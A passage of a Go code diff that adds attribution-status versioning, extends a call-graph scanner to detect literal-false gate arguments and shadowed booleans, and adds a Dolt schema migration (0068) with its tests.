non-empty actor is "claimed", an empty one is "unknown". +func TestAttributionStatusForActor(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + actor string + want string + }{ + {name: "non-empty actor is claimed", actor: "alice", want: attributionStatusClaimed}, + {name: "empty actor is unknown", actor: "", want: attributionStatusUnknown}, + } + + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + if got := attributionStatusForActor(tc.actor); got != tc.want { + t.Errorf("attributionStatusForActor(%q) = %q, want %q", tc.actor, got, tc.want) + } + }) + } +} + +// TestAttributionStatusValuesMatchBDP pins the two legal values verbatim +// against bdp#18's vocabulary, so a future edit cannot silently rename one, +// or reintroduce a value BDP does not carry, without failing here — and +// checks that the derivation never yields anything outside that set. +func TestAttributionStatusValuesMatchBDP(t *testing.T) { + t.Parallel() + + values := map[string]string{ + "claimed": attributionStatusClaimed, + "unknown": attributionStatusUnknown, + } + for want, got := range values { + if got != want { + t.Errorf("attribution status constant = %q, want %q", got, want) + } + } + + legal := map[string]bool{"claimed": true, "unknown": true} + for _, actor := range []string{"", "alice", "agent:builder"} { + if got := attributionStatusForActor(actor); !legal[got] { + t.Errorf("attributionStatusForActor(%q) = %q, want one of claimed|unknown", actor, got) + } + } +} diff --git a/internal/storage/issueops/wake_defers.go b/internal/storage/issueops/wake_defers.go index bc6bde7dc..2ea34a391 100644 --- a/internal/storage/issueops/wake_defers.go +++ b/internal/storage/issueops/wake_defers.go @@ -138,6 +138,11 @@ func wakeExpiredDefersInTable(ctx context.Context, tx DBTX, table, eventsTable s if err := RecordEventInTx(ctx, tx, EventUpdate, id, DeferWakeActor); err != nil { return woken, err } + // The status flip is durable state, so the woken bead is versioned + // under the same system actor the event carries. + if err := RecordVersionInTx(ctx, tx, id, DeferWakeActor); err != nil { + return woken, err + } woken = append(woken, id) } return woken, nil diff --git a/internal/storage/journalscan/journalscan.go b/internal/storage/journalscan/journalscan.go index d04fc24b1..c274dd6b8 100644 --- a/internal/storage/journalscan/journalscan.go +++ b/internal/storage/journalscan/journalscan.go @@ -13,6 +13,7 @@ import ( "go/token" "io/fs" "regexp" + "sort" "strings" ) @@ -22,11 +23,28 @@ type FuncInfo struct { Recv string // receiver type name ("" for free functions) Name string // bare method/function name Exported bool // the bare name is exported + Params []string // declared parameter names, in order ("" for an unnamed one) IdentCalls []string // intra-package bare-identifier calls (free functions) SelCalls []string // selector calls, by selector name (x.Foo -> "Foo") + Calls []Call // every call, bare or selector, with its arguments OwnBeadDML bool // body issues INSERT/UPDATE/DELETE against a bead table } +// Call is one call expression in a function body: the called name (a bare +// identifier, or the selector name of x.Foo) and its arguments, each reduced +// to the bare identifier or literal it passes — "" for any other expression. +// The predeclared false and true read as "false" and "true"; a false or true +// that names a declaration of the package's own instead — a shadow, whether +// the parser resolved it within its file or some file declares the name at +// package level — is "" like any other expression the scanner cannot vouch +// for, so a shadow never reads as the literal. A caller forwarding its own +// parameter reads as that parameter's name, which is what lets a guard tell +// "switched off here" from "left to the caller". +type Call struct { + Name string + Args []string +} + // AllCallNames returns every called name, both bare-identifier and selector. func (f *FuncInfo) AllCallNames() []string { return append(append([]string{}, f.IdentCalls...), f.SelCalls...) @@ -42,6 +60,17 @@ func (f *FuncInfo) CallsAnyOf(set map[string]bool) bool { return false } +// ParamIndex returns the position of f's parameter named name, or -1 when f +// declares none by that name. +func (f *FuncInfo) ParamIndex(name string) int { + for i, p := range f.Params { + if p == name { + return i + } + } + return -1 +} + // ReceiverTypeName returns the bare type name of a method receiver // (e.g. *fooImpl -> fooImpl). func ReceiverTypeName(expr ast.Expr) string { @@ -58,12 +87,31 @@ func ReceiverTypeName(expr ast.Expr) string { // top-level function/method, keyed by "Recv.Name" (or "Name" for free funcs). func ParsePackage(dir string) (map[string]*FuncInfo, error) { fset := token.NewFileSet() + // Mode 0 keeps the parser's per-file identifier resolution on. It is what + // lets argNames tell the predeclared false and true from a shadow of the + // same name; under SkipObjectResolution every shadow would read as the + // literal. TestCallsOnlyWithLiteralFalse pins this. pkgs, err := parser.ParseDir(fset, dir, func(fi fs.FileInfo) bool { return !strings.HasSuffix(fi.Name(), "_test.go") }, 0) if err != nil { return nil, err } + // That resolution stops at the file: a use in one file of a false another + // file declares at package level stays unresolved, exactly like the + // predeclared one, though to the compiler it denotes the declaration. + // Fold every file's package-level declarations in so argNames refuses + // those too (TestPackageLevelShadowCrossesFiles). + shadowed := map[string]bool{} + for _, pkg := range pkgs { + for _, file := range pkg.Files { + for name := range predeclaredBools { + if file.Scope != nil && file.Scope.Lookup(name) != nil { + shadowed[name] = true + } + } + } + } out := map[string]*FuncInfo{} for _, pkg := range pkgs { for _, file := range pkg.Files { @@ -72,7 +120,7 @@ func ParsePackage(dir string) (map[string]*FuncInfo, error) { if !ok { continue } - f := &FuncInfo{Name: fn.Name.Name, Exported: fn.Name.IsExported()} + f := &FuncInfo{Name: fn.Name.Name, Exported: fn.Name.IsExported(), Params: paramNames(fn.Type)} if fn.Recv != nil && len(fn.Recv.List) > 0 { f.Recv = ReceiverTypeName(fn.Recv.List[0].Type) } @@ -82,8 +130,10 @@ func ParsePackage(dir string) (map[string]*FuncInfo, error) { switch fun := node.Fun.(type) { case *ast.Ident: f.IdentCalls = append(f.IdentCalls, fun.Name) + f.Calls = append(f.Calls, Call{Name: fun.Name, Args: argNames(node.Args, shadowed)}) case *ast.SelectorExpr: f.SelCalls = append(f.SelCalls, fun.Sel.Name) + f.Calls = append(f.Calls, Call{Name: fun.Sel.Name, Args: argNames(node.Args, shadowed)}) } case *ast.BasicLit: if node.Kind == token.STRING && SQLWritesBeadTable(node.Value) { @@ -103,23 +153,135 @@ func ParsePackage(dir string) (map[string]*FuncInfo, error) { return out, nil } +// paramNames flattens a signature's parameter list into one entry per +// parameter, so a position in it lines up with a position in a call's +// argument list: "a, b int" is two entries, and an unnamed parameter is "". +func paramNames(sig *ast.FuncType) []string { + if sig == nil || sig.Params == nil { + return nil + } + var names []string + for _, field := range sig.Params.List { + if len(field.Names) == 0 { + names = append(names, "") + continue + } + for _, name := range field.Names { + names = append(names, name.Name) + } + } + return names +} + +// predeclaredBools are the names argNames reads as the boolean literals when +// nothing in the package declares them. +var predeclaredBools = map[string]bool{"false": true, "true": true} + +// argNames reduces call arguments to the bare identifier or literal each one +// passes; anything else (a call, a selector, a composite literal) is "". So +// is a false or true that does not denote the predeclared identifier: one the +// parser resolved to a declaration in its own file (a.Obj != nil — a local, a +// parameter, a package-level declaration in the same file) or whose name some +// file declares at package level (shadowed, from ParsePackage). +func argNames(args []ast.Expr, shadowed map[string]bool) []string { + names := make([]string, len(args)) + for i, arg := range args { + switch a := arg.(type) { + case *ast.Ident: + if predeclaredBools[a.Name] && (a.Obj != nil || shadowed[a.Name]) { + continue + } + names[i] = a.Name + case *ast.BasicLit: + names[i] = a.Value + } + } + return names +} + +// Resolve maps a called bare name to the function keys it can denote: the +// free function of that name, if any, then every method of that name in key +// order (name-based resolution, sufficient for a guard). It is the one +// resolution Fixpoint and CallsOnlyWithLiteralFalse use, exported so a guard +// reasoning about a called name's targets — whether a switch-off is +// unambiguous, whether a live edge reaches the seam through a method — sees +// exactly the keys the fixpoint follows. +func Resolve(fns map[string]*FuncInfo, name string) []string { + var keys []string + if _, ok := fns[name]; ok { + keys = append(keys, name) + } + var methods []string + for key, f := range fns { + if f.Recv != "" && f.Name == name { + methods = append(methods, key) + } + } + sort.Strings(methods) + return append(keys, methods...) +} + +// CallsOnlyWithLiteralFalse reports whether f calls callee, and every one of +// those calls passes the predeclared identifier false for callee's boolean +// parameter named gate — the argument callee's own body reads as "skip the +// gated write". A guard that follows call edges to find who reaches a seam +// uses it to drop the edges a caller has explicitly switched off, so a +// composite mutation that runs its constituents with the gate off and +// performs the gated write once itself is not credited with the one it told +// them to skip. +// +// What is checked is the reduced argument (see Call): the bare name false, +// counted as the predeclared identifier only when it resolves to no +// declaration of the package's own. Go lets a local, a parameter or a +// package-level declaration shadow false, and any such shadow reads as an +// unknown expression, never as a switch-off. A consumer can pin that its +// package declares no such shadow at all, so that the name-based reading is +// exact there rather than merely conservative; issueops does, in +// TestFalseIsNotShadowedInIssueops. +// +// The edge stays live (false is returned) whenever the switch-off is not +// certain: callee is unknown or declares no parameter named gate, f never +// calls it, at least one of f's calls passes anything but the literal (true, +// a variable, f's own parameter of that name, a shadowed false, an +// expression), or a call is too short to line up with the signature. callee +// resolves the way Fixpoint resolves edges — Resolve: the free function of +// that name and every method of that name — and every resolution that +// declares the gate must see false. A resolution that declares no gate is +// not consulted, so when a gated function shares its name with an ungated +// one a true result drops the fixpoint's edge to the ungated one too; a +// consumer relying on the switch-off should pin that no literal-false +// callee's name is shared that way (issueops does, in +// TestLiteralFalseCalleesResolveUnambiguously). +func CallsOnlyWithLiteralFalse(fns map[string]*FuncInfo, f *FuncInfo, callee, gate string) bool { + var gateAt []int + for _, key := range Resolve(fns, callee) { + if i := fns[key].ParamIndex(gate); i >= 0 { + gateAt = append(gateAt, i) + } + } + if len(gateAt) == 0 { + return false + } + called := false + for _, call := range f.Calls { + if call.Name != callee { + continue + } + called = true + for _, i := range gateAt { + if i >= len(call.Args) || call.Args[i] != "false" { + return false + } + } + } + return called +} + // Fixpoint returns the set of function keys for which seed is true or which // (transitively) call a name for which it becomes true, following edges. A // called bare name resolves to a free function of that name and to any method -// with that name (name-based resolution, sufficient for a guard). +// with that name (Resolve: name-based resolution, sufficient for a guard). func Fixpoint(fns map[string]*FuncInfo, seed func(*FuncInfo) bool, edges func(*FuncInfo) []string) map[string]bool { - resolve := func(name string) []string { - var keys []string - if _, ok := fns[name]; ok { - keys = append(keys, name) - } - for key, f := range fns { - if f.Recv != "" && f.Name == name { - keys = append(keys, key) - } - } - return keys - } got := map[string]bool{} for key, f := range fns { if seed(f) { @@ -133,7 +295,7 @@ func Fixpoint(fns map[string]*FuncInfo, seed func(*FuncInfo) bool, edges func(*F continue } for _, callee := range edges(f) { - for _, ck := range resolve(callee) { + for _, ck := range Resolve(fns, callee) { if got[ck] { got[key] = true changed = true diff --git a/internal/storage/journalscan/journalscan_test.go b/internal/storage/journalscan/journalscan_test.go index 653c86a1d..9137c8ad8 100644 --- a/internal/storage/journalscan/journalscan_test.go +++ b/internal/storage/journalscan/journalscan_test.go @@ -1,6 +1,11 @@ package journalscan -import "testing" +import ( + "os" + "path/filepath" + "reflect" + "testing" +) // TestSQLWritesBeadTable pins the DML detector the completeness guards rest on. // A false negative here silently disarms every guard, so the templated forms — @@ -43,3 +48,199 @@ func TestSQLWritesBeadTable(t *testing.T) { } } } + +// TestCallsOnlyWithLiteralFalse pins the gate predicate the versioned-history +// guard rests on: a call that passes the predeclared false for a helper's +// mintVersion-style parameter is switched off, and nothing else is — not a +// declaration of the package's own that borrows the name false, which the +// parser's per-file resolution (ParsePackage's mode 0) tells apart. A false +// positive here would drop a real minting edge (a spurious guard failure); a +// false negative would let a composite mutation keep inheriting the mint it +// told its constituents to skip (gastownhall/beads#6358 reviewer Probe 2), +// which is the hole the predicate exists to close. +func TestCallsOnlyWithLiteralFalse(t *testing.T) { + dir := t.TempDir() + src := `package probe + +func seam() {} + +func helper(mintVersion bool) { + if mintVersion { + seam() + } +} + +// grouped declares the gate inside a grouped parameter list, so its position +// must be counted per name, not per group. +func grouped(a, b int, recordEvent, mintVersion bool) { + if mintVersion { + seam() + } +} + +func SwitchedOff() { helper(false) } +func SwitchedOffGrouped() { grouped(1, 2, true, false) } +func SwitchedOn() { helper(true) } +func Variable() { off := false; helper(off) } +func Forwards(mintVersion bool) { helper(mintVersion) } +func Mixed() { helper(false); helper(true) } +func MintsItself() { helper(false); seam() } +func TooShort() { helper() } +func NoGate() { ungated(false) } +func ungated(other bool) { seam() } +func NeverCalls() {} + +// The shadows: Go lets a declaration of the package's own take the name +// false, and none of them may read as the switch-off. +func ShadowedLocal() { false := true; helper(false) } +func ShadowedParam(false bool) { helper(false) } +func ShadowedInClosure() { func() { false := true; helper(false) }() } +` + if err := os.WriteFile(filepath.Join(dir, "probe.go"), []byte(src), 0o600); err != nil { + t.Fatal(err) + } + fns, err := ParsePackage(dir) + if err != nil { + t.Fatalf("ParsePackage: %v", err) + } + + // The two facts the predicate is built from: declared parameter positions + // and the reduced argument list of every call. + if got := fns["grouped"].Params; !reflect.DeepEqual(got, []string{"a", "b", "recordEvent", "mintVersion"}) { + t.Errorf("grouped.Params = %q, want each name of a grouped parameter list counted separately", got) + } + if got := fns["grouped"].ParamIndex("mintVersion"); got != 3 { + t.Errorf("grouped.ParamIndex(mintVersion) = %d, want 3", got) + } + if got := fns["ungated"].ParamIndex("mintVersion"); got != -1 { + t.Errorf("ungated.ParamIndex(mintVersion) = %d, want -1", got) + } + if got := fns["Mixed"].Calls; !reflect.DeepEqual(got, []Call{{Name: "helper", Args: []string{"false"}}, {Name: "helper", Args: []string{"true"}}}) { + t.Errorf("Mixed.Calls = %+v, want both helper calls with their literal argument", got) + } + for _, name := range []string{"ShadowedLocal", "ShadowedParam", "ShadowedInClosure"} { + if got := fns[name].Calls; !reflect.DeepEqual(got, []Call{{Name: "helper", Args: []string{""}}}) { + t.Errorf("%s.Calls = %+v, want the shadowed false reduced to \"\" rather than read as the literal", name, got) + } + } + + for _, tc := range []struct { + caller, callee string + want bool + }{ + {"SwitchedOff", "helper", true}, + {"SwitchedOffGrouped", "grouped", true}, + {"MintsItself", "helper", true}, // the helper edge is off; what MintsItself does on its own is the fixpoint's business + {"SwitchedOn", "helper", false}, + {"Variable", "helper", false}, + {"Forwards", "helper", false}, + {"Mixed", "helper", false}, + {"TooShort", "helper", false}, + {"NoGate", "ungated", false}, + {"NeverCalls", "helper", false}, + {"SwitchedOff", "missing", false}, + {"ShadowedLocal", "helper", false}, + {"ShadowedParam", "helper", false}, + {"ShadowedInClosure", "helper", false}, + } { + if got := CallsOnlyWithLiteralFalse(fns, fns[tc.caller], tc.callee, "mintVersion"); got != tc.want { + t.Errorf("CallsOnlyWithLiteralFalse(%s -> %s) = %v, want %v", tc.caller, tc.callee, got, tc.want) + } + } + + // End to end: following only the edges the predicate leaves live credits + // exactly the callers that can reach the seam, and the predicate is what + // makes the difference — the plain edge set the journal guard follows + // still credits the switched-off callers. + seed := func(f *FuncInfo) bool { return f.CallsAnyOf(map[string]bool{"seam": true}) } + plain := Fixpoint(fns, seed, func(f *FuncInfo) []string { return f.AllCallNames() }) + gated := Fixpoint(fns, seed, func(f *FuncInfo) []string { + var live []string + for _, callee := range f.AllCallNames() { + if !CallsOnlyWithLiteralFalse(fns, f, callee, "mintVersion") { + live = append(live, callee) + } + } + return live + }) + for name, want := range map[string]bool{ + "SwitchedOff": false, "SwitchedOffGrouped": false, "NeverCalls": false, "seam": false, + "SwitchedOn": true, "Variable": true, "Forwards": true, "Mixed": true, "MintsItself": true, + "TooShort": true, "NoGate": true, "helper": true, "grouped": true, "ungated": true, + "ShadowedLocal": true, "ShadowedParam": true, "ShadowedInClosure": true, + } { + if gated[name] != want { + t.Errorf("gated fixpoint reaches seam via %s = %v, want %v", name, gated[name], want) + } + } + for _, name := range []string{"SwitchedOff", "SwitchedOffGrouped"} { + if !plain[name] { + t.Errorf("plain fixpoint does not reach seam via %s; the probe no longer shows the gate doing any work", name) + } + } +} + +// TestPackageLevelShadowCrossesFiles pins the half of shadow detection the +// parser cannot do alone. It resolves identifiers per file, so a use in one +// file of a false that another file declares at package level is unresolved, +// exactly like the predeclared one; ParsePackage folds every file's +// package-level declarations in, so such a use is no switch-off either — and, +// the shadow being package-wide, neither is any other false in the package. +func TestPackageLevelShadowCrossesFiles(t *testing.T) { + dir := t.TempDir() + files := map[string]string{ + "a.go": `package probe + +func seam() {} + +func helper(mintVersion bool) { + if mintVersion { + seam() + } +} + +func LooksSwitchedOff() { helper(false) } +`, + "b.go": `package probe + +var false = true +`, + } + for name, src := range files { + if err := os.WriteFile(filepath.Join(dir, name), []byte(src), 0o600); err != nil { + t.Fatal(err) + } + } + fns, err := ParsePackage(dir) + if err != nil { + t.Fatalf("ParsePackage: %v", err) + } + if got := fns["LooksSwitchedOff"].Calls; !reflect.DeepEqual(got, []Call{{Name: "helper", Args: []string{""}}}) { + t.Errorf("LooksSwitchedOff.Calls = %+v, want the false shadowed by another file reduced to \"\"", got) + } + if CallsOnlyWithLiteralFalse(fns, fns["LooksSwitchedOff"], "helper", "mintVersion") { + t.Error("CallsOnlyWithLiteralFalse(LooksSwitchedOff -> helper) = true; a false shadowed at package level in another file read as the switch-off") + } +} + +// TestResolve pins the name-based resolution every edge and every switch-off +// goes through: a bare name denotes the free function of that name and every +// method of that name — free function first, then methods in key order, so a +// guard's report of an ambiguity is stable. +func TestResolve(t *testing.T) { + fns := map[string]*FuncInfo{ + "helper": {Name: "helper"}, + "svc.helper": {Recv: "svc", Name: "helper"}, + "db.helper": {Recv: "db", Name: "helper"}, + "svc.other": {Recv: "svc", Name: "other"}, + } + for name, want := range map[string][]string{ + "helper": {"helper", "db.helper", "svc.helper"}, + "other": {"svc.other"}, + "missing": nil, + } { + if got := Resolve(fns, name); !reflect.DeepEqual(got, want) { + t.Errorf("Resolve(%q) = %q, want %q", name, got, want) + } + } +} diff --git a/internal/storage/schema/cli_migrations.go b/internal/storage/schema/cli_migrations.go index fd2db376c..a9ff46722 100644 --- a/internal/storage/schema/cli_migrations.go +++ b/internal/storage/schema/cli_migrations.go @@ -138,6 +138,16 @@ func cliCompatibleMigrationSQL(name, sqlText string) string { // Replays over a database that never synced the wisp tables must use // the frozen source text instead -- see cliSubstituteAssumesWispTables. return cliMigration0067AddVersionedBeadsSchema + case "0068_add_attribution_status.up.sql": + // Direct DDL for the same reason as 0067: the source migration's + // PREPARE guards (INFORMATION_SCHEMA probes) are what make the raw + // .up.sql idempotent when replayed onto an already-migrated store, + // and the 2.2.x CLI no-ops a prepared ADD COLUMN and MODIFY COLUMN + // alike. issue_versions is always present here -- 0067 runs earlier + // in the same fresh-bundle series -- never carries attribution_status + // yet, and still has durable_state as the JSON type 0067 gave it, so + // both of 0068's steps always fire on a fresh bundle. + return cliMigration0068AddAttributionStatus default: return sqlText } @@ -249,6 +259,18 @@ CREATE TABLE IF NOT EXISTS store_epoch ( ALTER TABLE issues ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1; ALTER TABLE wisps ADD COLUMN current_revision BIGINT NOT NULL DEFAULT 1;` +// cliMigration0068AddAttributionStatus is 0068 with its two guarded PREPARE +// blocks replaced by the direct ALTERs they would run on a fresh database: +// step 6's ADD COLUMN attribution_status, and step 7's MODIFY COLUMN +// durable_state LONGBLOB (the byte-preserving type the review on +// gastownhall/beads#6358 item 4 asked for -- see the migration's step 7 +// header). issue_versions is created earlier in the same series by 0067, +// which still creates durable_state as JSON and whose override is left +// untouched: 0068 is what retypes it. So the column always needs adding and +// the retype always fires here; no wisps twin exists for this table. +const cliMigration0068AddAttributionStatus = `ALTER TABLE issue_versions ADD COLUMN attribution_status VARCHAR(20) NOT NULL; +ALTER TABLE issue_versions MODIFY COLUMN durable_state LONGBLOB;` + const cliMigration0041SplitDependenciesTarget = `DELETE FROM dolt_nonlocal_tables; CALL DOLT_COMMIT('-Am', 'disable nonlocal tables for fk migrations'); SET FOREIGN_KEY_CHECKS = 0; diff --git a/internal/storage/schema/migration_0067_versioned_beads_test.go b/internal/storage/schema/migration_0067_versioned_beads_test.go index eb32c7378..290cea3e5 100644 --- a/internal/storage/schema/migration_0067_versioned_beads_test.go +++ b/internal/storage/schema/migration_0067_versioned_beads_test.go @@ -20,19 +20,6 @@ import ( const migration0067Up = "0067_add_versioned_beads_schema.up.sql" const migration0067Down = "0067_add_versioned_beads_schema.down.sql" -// TestLatestVersionIncludesMigration0067 pins the real next free slot this -// phase claims. It is deliberately a hardcoded literal, not a comparison -// against another derived value: schema.LatestVersion() drifting to 67 for -// the wrong reason (an unrelated migration landing first) should still be -// caught by this test failing to explain why 67 is versioned-beads-shaped, -// which the CLI test below checks. -func TestLatestVersionIncludesMigration0067(t *testing.T) { - const want = 67 - if got := LatestVersion(); got != want { - t.Fatalf("LatestVersion() = %d, want %d (issue_versions/store_epoch/issues.current_revision migration slot claimed by be-hs42e.2)", got, want) - } -} - // TestMigration0067AddsVersionedBeadsSchema is a pure-Go, DB-independent // check of the frozen migration bytes themselves — it runs even where no // `dolt` binary is available. @@ -164,7 +151,11 @@ func TestMigration0067AddsVersionedBeadsSchemaThroughDoltCLI(t *testing.T) { requireDoltColumnShape(t, dir, "issue_versions", "issue_id", "varchar(255)", "NO") requireDoltDataType(t, dir, "issue_versions", "revision", "bigint", "NO") requireDoltDataType(t, dir, "issue_versions", "epoch", "int", "NO") - requireDoltDataType(t, dir, "issue_versions", "durable_state", "json", "YES") + // 0067 creates durable_state as JSON, and 0068 step 7 retypes it to + // LONGBLOB (Dolt's JSON type renormalizes numbers, so it cannot hold the + // verbatim bytes a content token hashes -- see 0068's step 7 header). This + // test runs the whole bundle, so the shape it sees is the LONGBLOB one. + requireDoltDataType(t, dir, "issue_versions", "durable_state", "longblob", "YES") requireDoltColumnShape(t, dir, "issue_versions", "change_actor", "varchar(255)", "YES") requireDoltColumnShape(t, dir, "issue_versions", "change_agent", "varchar(255)", "YES") requireDoltColumnShape(t, dir, "issue_versions", "change_message", "text", "YES") @@ -194,8 +185,12 @@ func TestMigration0067AddsVersionedBeadsSchemaThroughDoltCLI(t *testing.T) { requireDoltDataType(t, dir, "wisps", "current_revision", "bigint", "NO") // Composite PK (issue_id, revision) is enforced: same pair twice fails. - runDoltSQL(t, dir, `INSERT INTO issue_versions (issue_id, revision, epoch, change_at) VALUES ('iv-1', 1, 1, '2026-09-01 00:00:00')`) - if err := runDoltSQLExpectingError(t, dir, `INSERT INTO issue_versions (issue_id, revision, epoch, change_at) VALUES ('iv-1', 1, 1, '2026-09-01 00:00:01')`); err == nil { + // attribution_status is 0068's NOT NULL column (not yet Phase 1's + // concern, but present on any schema this test's fresh bundle produces), + // so both inserts must supply it or Dolt rejects them before the PK + // check below ever runs. + runDoltSQL(t, dir, `INSERT INTO issue_versions (issue_id, revision, epoch, change_at, attribution_status) VALUES ('iv-1', 1, 1, '2026-09-01 00:00:00', 'unknown')`) + if err := runDoltSQLExpectingError(t, dir, `INSERT INTO issue_versions (issue_id, revision, epoch, change_at, attribution_status) VALUES ('iv-1', 1, 1, '2026-09-01 00:00:01', 'unknown')`); err == nil { t.Error("duplicate (issue_id, revision) insert into issue_versions succeeded, want primary key violation") } diff --git a/internal/storage/schema/migration_0068_add_attribution_status_test.go b/internal/storage/schema/migration_0068_add_attribution_status_test.go new file mode 100644 index 000000000..983abcf9e --- /dev/null +++ b/internal/storage/schema/migration_0068_add_attribution_status_test.go @@ -0,0 +1,170 @@ +package schema + +import ( + "os" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/testutil" +) + +// Phase 2 of the versioned-beads epic (be-hs42e / gastownhall/beads#6132, +// this slice: be-hs42e.3 / #6135) adds one column: issue_versions gains a +// NOT NULL attribution_status (design §16.4, R14), written by +// RecordVersionInTx / attributionStatusForActor +// (internal/storage/issueops/version_history.go) from the same build that +// ships this migration, so the NOT NULL constraint never rejects a +// pre-existing row. Steps 1-5 of design §16.3 (the version_id PK swap and +// participation_generation) are a different bead's scope and are not in this +// migration file. +// +// Step 7 (added at review, donnabox on #6358 item 4) retypes +// issue_versions.durable_state from JSON to LONGBLOB: Dolt's JSON type +// renormalizes numbers, so it cannot keep the verbatim bytes (R5.1) that a +// content-derived token hashes. The writer now stores the RFC 8785 (JCS) +// canonical bytes; the table is empty in this era, so no data converts. + +const migration0068Up = "0068_add_attribution_status.up.sql" +const migration0068Down = "0068_add_attribution_status.down.sql" + +// TestLatestVersionIncludesMigration0068 pins the real next free slot this +// phase claims, superseding 0067's own version of this test (LatestVersion() +// moved from 67 to 68 the moment this migration file was added). Deliberately +// a hardcoded literal for the same reason 0067's was: LatestVersion() +// drifting to 68 for the wrong reason (an unrelated migration landing first) +// should still be caught by this test failing to explain why 68 is +// attribution-status-shaped, which the CLI test below checks. +func TestLatestVersionIncludesMigration0068(t *testing.T) { + const want = 68 + if got := LatestVersion(); got != want { + t.Fatalf("LatestVersion() = %d, want %d (issue_versions.attribution_status migration slot claimed by be-hs42e.3)", got, want) + } +} + +// TestMigration0068AddsAttributionStatus is a pure-Go, DB-independent check +// of the frozen migration bytes themselves — it runs even where no `dolt` +// binary is available. +// +// It pins the same guarded-PREPARE shape 0067 uses and for the same reason: +// the guard is what makes a raw replay of this file onto an already-migrated +// store a no-op (internal/storage/dolt's pr4107 replay harness requires this +// of every migration >= 0046), and Dolt accepts no unprepared conditional +// ADD COLUMN. The cost is the same pre-2.3 CLI hazard 0060/0065/0066/0067 +// carry, so this migration needs the same direct-DDL override in +// cliCompatibleMigrationSQL, policed by the same two guard tests +// (TestBundleMigrationsWithPreparedALTERAreOverriddenOrJustified and +// TestAllMigrationsSQLUsesDirectDDLForKnownCLIIncompatibilities). +func TestMigration0068AddsAttributionStatus(t *testing.T) { + upSQL, err := MigrationSQL(migration0068Up) + if err != nil { + t.Fatalf("MigrationSQL(%s) error = %v, want the migration file to exist", migration0068Up, err) + } + for _, want := range []string{ + "ALTER TABLE issue_versions ADD COLUMN attribution_status VARCHAR(20) NOT NULL", + "COLUMN_NAME = 'attribution_status'", + "@issue_versions_as_needs_add", + // Step 7: the durable_state retype, guarded on DATA_TYPE (0057's + // shape) so a replay onto a store already at LONGBLOB no-ops. + "ALTER TABLE issue_versions MODIFY COLUMN durable_state LONGBLOB", + "COLUMN_NAME = 'durable_state'", + "@issue_versions_ds_needs_retype", + "DATA_TYPE <> 'longblob'", + } { + if !strings.Contains(upSQL, want) { + t.Errorf("0068 up migration missing %q\nfull SQL:\n%s", want, upSQL) + } + } + if !strings.Contains(strings.ToUpper(upSQL), "PREPARE STMT FROM @SQL") { + t.Error("0068 up migration must keep its guarded PREPARE block — it is what makes a raw .up.sql replay onto an already-migrated store a no-op, and Dolt accepts no unprepared conditional ADD COLUMN. Unwrapping it also invalidates cliMigration0068AddAttributionStatus.") + } + // The bundle override is what keeps the PREPARE above off the pre-2.3 + // CLI path. Assert it directly rather than trusting the two schema_test + // assertions to stay pointed at this migration. + for _, want := range []string{ + "ALTER TABLE issue_versions ADD COLUMN attribution_status VARCHAR(20) NOT NULL;", + // Step 7's retype has to reach the bundle as direct DDL too, or a + // fresh CLI-built database keeps 0067's JSON column while the + // runtime has LONGBLOB. + "ALTER TABLE issue_versions MODIFY COLUMN durable_state LONGBLOB;", + } { + if !strings.Contains(cliCompatibleMigrationSQL(migration0068Up, upSQL), want) { + t.Errorf("0068's CLI bundle substitute missing direct DDL %q", want) + } + } + if cliSubstituteAssumesWispTables(migration0068Up) { + t.Error("0068's CLI substitute touches only issue_versions, which has no wisps-side counterpart table — it must not be listed in cliSubstituteAssumesWispTables") + } + + // down.sql files are not part of the embedded FS (only migrations/*.up.sql + // is //go:embed'd — see mainSource.files), so unlike the up side above, + // this reads straight from disk by package-relative path, matching + // TestMigration0067AddsVersionedBeadsSchema's precedent. + downBytes, err := os.ReadFile("migrations/" + migration0068Down) + if err != nil { + t.Fatalf("read %s: %v, want the migration file to exist", migration0068Down, err) + } + downSQL := string(downBytes) + for _, want := range []string{ + "ALTER TABLE issue_versions DROP COLUMN attribution_status", + "COLUMN_NAME = 'attribution_status'", + // Step 7's reverse: back to the JSON type 0067 created, guarded on + // DATA_TYPE so an already-rolled-back store no-ops. + "ALTER TABLE issue_versions MODIFY COLUMN durable_state JSON", + "COLUMN_NAME = 'durable_state'", + "@issue_versions_ds_is_longblob", + } { + if !strings.Contains(downSQL, want) { + t.Errorf("0068 down migration missing %q\nfull SQL:\n%s", want, downSQL) + } + } + // Only migrations/*.up.sql is embedded into the CLI fresh bundle + // (mainSource.files), so the pre-2.3 prepared-DDL hazard never reaches a + // down migration and the guard is free — 0060's/0067's downs are the + // precedent. + if !strings.Contains(strings.ToUpper(downSQL), "PREPARE STMT FROM @SQL") { + t.Error("0068 down migration must guard its DROP COLUMN the way the up migration guards its ADD COLUMN, so a partially-applied or already-rolled-back workspace rolls back safely") + } +} + +// TestMigration0068AddsAttributionStatusThroughDoltCLI applies the full +// migration bundle through a real `dolt` binary (skipped without one — see +// testutil.RequireDoltBinary) and checks the shape acceptance criteria a +// pure-Go SQL-text check cannot: actual column type/nullability as Dolt +// reports it, and that the NOT NULL constraint is real (an insert that omits +// attribution_status must fail, matching the fixture fix this migration +// forced onto TestMigration0067AddsVersionedBeadsSchemaThroughDoltCLI). +func TestMigration0068AddsAttributionStatusThroughDoltCLI(t *testing.T) { + testutil.RequireDoltBinary(t) + + dir := t.TempDir() + runDoltCommand(t, dir, "init", "--name", "test", "--email", "test@example.com") + runDoltSQL(t, dir, AllMigrationsSQL()) + + requireDoltColumnShape(t, dir, "issue_versions", "attribution_status", "varchar(20)", "NO") + // Step 7: 0067 created durable_state as JSON; after 0068 it is the + // byte-preserving LONGBLOB the writer's JCS canonical form needs. + requireDoltDataType(t, dir, "issue_versions", "durable_state", "longblob", "YES") + requireDoltNoRows(t, dir, "SELECT issue_id FROM issue_versions", "issue_versions") + + if err := runDoltSQLExpectingError(t, dir, `INSERT INTO issue_versions (issue_id, revision, epoch, change_at) VALUES ('iv-1', 1, 1, '2026-09-01 00:00:00')`); err == nil { + t.Error("insert into issue_versions omitting attribution_status succeeded, want a NOT NULL violation") + } + runDoltSQL(t, dir, `INSERT INTO issue_versions (issue_id, revision, epoch, change_at, attribution_status) VALUES ('iv-1', 1, 1, '2026-09-01 00:00:00', 'claimed')`) + rows := queryDoltCSV(t, dir, `SELECT attribution_status FROM issue_versions WHERE issue_id = 'iv-1'`) + if len(rows) != 1 || 